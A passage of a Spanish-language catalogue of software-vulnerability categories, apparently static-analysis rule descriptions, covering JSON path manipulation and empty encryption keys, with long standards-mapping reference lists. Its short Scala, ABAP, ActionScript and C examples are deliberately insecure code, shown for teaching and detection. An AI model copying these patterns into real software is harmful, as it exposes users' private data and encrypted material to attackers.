[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.php.json_path_manipulation
Abstract
La aplicación realiza una consulta JSON con datos que no son de confianza y pueden permitir que usuarios malintencionados realicen consultas en partes inesperadas del documento JSON.
Explanation
Hay una serie de tecnologías que brindan la capacidad de maniobrar a través de documentos JSON utilizando una sintaxis de acceso en forma de árbol. Al utilizar este tipo de escalado de directorios de documentos, un adversario puede consultar partes de un documento JSON a las que no debería tener acceso.

Ejemplo 1: El código siguiente utiliza una palabra clave definida por el usuario para acceder a un documento JSON que contiene detalles de usuario públicos, como su nombre y dirección, pero también privados, como su contraseña.


def searchUserDetails(key:String) = Action.async { implicit request =>
val user_json = getUserDataFor(user)
val value = (user_json \ key).get.as[String]
...
}


Como key es controlable por el usuario, un atacante puede aprovecharse de esto para acceder a las contraseñas del usuario y cualquier otro dato privado que pueda contener el documento JSON.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.scala.json_path_manipulation
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado vacía:


...
encryptionKey = "".
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si una cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El código siguiente utiliza una clave de cifrado vacía:


...
char encryptionKey[] = "";
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
